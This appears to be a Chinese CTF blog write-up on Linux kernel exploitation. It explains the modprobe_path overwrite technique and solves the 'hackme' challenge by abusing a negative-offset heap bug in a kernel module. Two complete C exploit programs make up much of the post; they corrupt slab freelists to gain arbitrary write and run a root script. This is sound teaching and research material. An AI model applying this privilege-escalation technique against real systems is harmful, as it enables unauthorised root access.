编辑
2023-03-08
Kernel Pwn
00
请注意,本文编写于 624 天前,最后修改于 624 天前,其中某些信息可能已经过时。

目录

Modprobe_path
金盾信安第四届-hackme
文件分析
逆向分析
基本思路
nokaslr
kaslr

Kernel🐕都不学

Modprobe_path

本身modprobe是用来加载内核模块的(在之前编写内核模块的时候我们使用过) 他可以直接加载一组相互依赖的模块或者卸载相互依赖的模块 但是比较特殊的是这个程序的路径是一个内核全局变量 默认是/sbin/modprobe 我们可以运行cat /proc/sys/kernel/modprobe来查看

并且这个路径在内核内部是可写的 最为特殊的是如果我们运行一个未知格式的文件时 会自动调用modprobe_path指向的程序 那么如果我们在内核内可以修改掉这个全局变量的话 我们就可以在使用system或者execvce执行未知文件类型的错误文件时就可以任意执行我们想要执行的程序了

modprobe执行程序的完整调用链为

(1)do_execve() (2)do_execveat_common() (3)bprm_execve() (4)exec_binprm() (5)search_binary_handler() (6)request_module() (7)call_usermodehelper()

其余的并不是很重要 主要是这一条流程全部都是在内核态root权限下实现的 如此我们便可以实现部分提权操作

金盾信安第四届-hackme

其实本题基本上是照搬了2019 STARCTF-hackme 基本上什么都没改..

文件分析

给出的附件很干净 只有最基础的几个文件

那就先提取vmlinux这里我使用的是vmlinux_to_elf因为我使用extract-vmlinux.sh提取不出来符号表 当然也就没有什么用了

然后看一下启动脚本 可以看到启用了kaslr和smep 如果一会需要地址的话我们需要自己泄漏基地址

这里为了初始的方便起见 我们先把kaslr关掉

bash
qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./initramfs.cpio \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \ -s \ -nographic \

然后就是解压文件系统

bash
cpio -idv < ./initramfs.cpio

其中init为空

逆向分析

主要还是看hackme_ioctl 通过功能和传参分析 发现hackme_ioctl传参为一个大小为0x20的结构

其实就是一个结构体 我们可以自己定义结构

c
struct data { size_t idx; size_t buf; size_t length; size_t offset; /* data */ };

程序主要实现了增删改查四个功能 其中漏洞点主要在改和查 很明显offset没有限制负数 导致可以任意向上更改和查询

基本思路

启动虚拟机后我们是CTF用户 没有权限读取flag 我们可以通过修改modprobe_path 然后写一个sh脚本 将flag权限修改为777

那么基本思路就是利用内核堆与fastbin类似的特性 先后释放的堆块会相互存在指针连接 然后我们泄露出内核基址 然后通过修改堆块之间的指针 申请到pool附近的内存 然后造成任意写 以达到修改modprobe_path的目的

nokaslr

c
#include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> // gcc exp.c -o exp -static -masm=intel -g struct data { size_t idx; size_t buf; size_t length; size_t offset; /* data */ }; void k_malloc(fd,idx,size,buffer) { struct data a; a.length=size; a.buf=buffer; a.idx=idx; ioctl(fd,0x30000,&a); } void k_free(fd,idx) { struct data a; a.idx=idx; ioctl(fd,0x30001,&a); } void k_edit(fd,idx,size,buffer,offset) { struct data a; a.length=size; a.buf=buffer; a.idx=idx; a.offset=offset; ioctl(fd,0x30002,&a); } void k_show(fd,idx,size,buffer,offset) { struct data a; a.length=size; a.buf=buffer; a.idx=idx; a.offset=offset; ioctl(fd,0x30003,&a); } void main() { system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /test.sh"); system("chmod +x /test.sh"); system("echo -ne '\\xff\\xff\\xff\\xff' > /fuck"); system("chmod +x /fuck"); size_t modprobe_path=0xffffffff8183f960; size_t pool=0xffffffffc0002400; int fd=open("/dev/hackme",0); void *buffer=malloc(0x100); memset(buffer,'a',0x100); k_malloc(fd,0,0x100,buffer); k_malloc(fd,1,0x100,buffer); k_malloc(fd,2,0x100,buffer); k_malloc(fd,3,0x100,buffer); k_malloc(fd,4,0x100,buffer); k_free(fd,1); k_free(fd,3); size_t *buffer1=malloc(0x100); buffer1[0]=pool+0x90; k_edit(fd,4,0x100,buffer1,-0x100); k_show(fd,4,0x100,buffer1,-0x100); size_t heap_addr=*buffer1; printf("%p",heap_addr); size_t* buffer2=malloc(0x100); buffer2[0]=modprobe_path; buffer2[1]=0x100; k_malloc(fd,5,0x100,buffer); k_malloc(fd,6,0x100,buffer2); char* buffer3=malloc(0x100); strncpy(buffer3,"/test.sh\0",9); k_edit(fd,9,0x100,buffer3,0); system("/fuck"); system("cat /flag"); }

kaslr

c
#include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> // gcc exp.c -o exp -static -masm=intel -g struct data { size_t idx; size_t buf; size_t length; size_t offset; /* data */ }; void k_malloc(fd,idx,size,buffer) { struct data a; a.length=size; a.buf=buffer; a.idx=idx; ioctl(fd,0x30000,&a); } void k_free(fd,idx) { struct data a; a.idx=idx; ioctl(fd,0x30001,&a); } void k_edit(fd,idx,size,buffer,offset) { struct data a; a.length=size; a.buf=buffer; a.idx=idx; a.offset=offset; ioctl(fd,0x30002,&a); } void k_show(fd,idx,size,buffer,offset) { struct data a; a.length=size; a.buf=buffer; a.idx=idx; a.offset=offset; ioctl(fd,0x30003,&a); } void main() { system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /test.sh"); system("chmod +x /test.sh"); system("echo -ne '\\xff\\xff\\xff\\xff' > /fuck"); system("chmod +x /fuck"); int fd=open("/dev/hackme",0); void *buffer=malloc(0x100); memset(buffer,'a',0x100); k_malloc(fd,0,0x100,buffer); k_malloc(fd,1,0x100,buffer); k_malloc(fd,2,0x100,buffer); k_malloc(fd,3,0x100,buffer); k_malloc(fd,4,0x100,buffer); k_free(fd,1); k_free(fd,3); size_t* buffer1=malloc(0x100); k_show(fd,4,0x100,buffer1,-0x100); printf("[*] heap_addr: %p",*buffer1); size_t ko_base; puts("\ninput ko_base: "); scanf("%p",&ko_base); printf("[*] ko_base: %p\n",ko_base); size_t* buffer2=malloc(0x100); k_show(fd,0,0x200,buffer2,-0x200); printf("[*] kernel_addr: %p\n",buffer2[0]); size_t kernel_base=buffer2[0]-0x8472c0; printf("[*] kernel_base: %p\n",kernel_base); size_t modprobe_path=kernel_base+0x83f960; size_t pool=ko_base+0x2400; printf("[*] modprobe_path: %p\n",modprobe_path); printf("[*] pool: %p\n",pool); buffer2[0]=pool+0x90; k_edit(fd,4,0x100,buffer2,-0x100); k_show(fd,4,0x100,buffer2,-0x100); buffer2[0]=modprobe_path; buffer2[1]=0x100; k_malloc(fd,5,0x100,buffer); k_malloc(fd,6,0x100,buffer2); strncpy(buffer,"/test.sh\0",9); k_edit(fd,9,0x100,buffer,0); system("/fuck"); system("cat /flag"); // scanf("%p"); }

写完才意识到为啥wp里面的脚本都不用给出来的ko_base 在比赛中打远程的Kernel Pwn是没有人输入的... 只不过需要找一下ko_base这里可以通过mod_tree来找

本文作者:Du4t

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!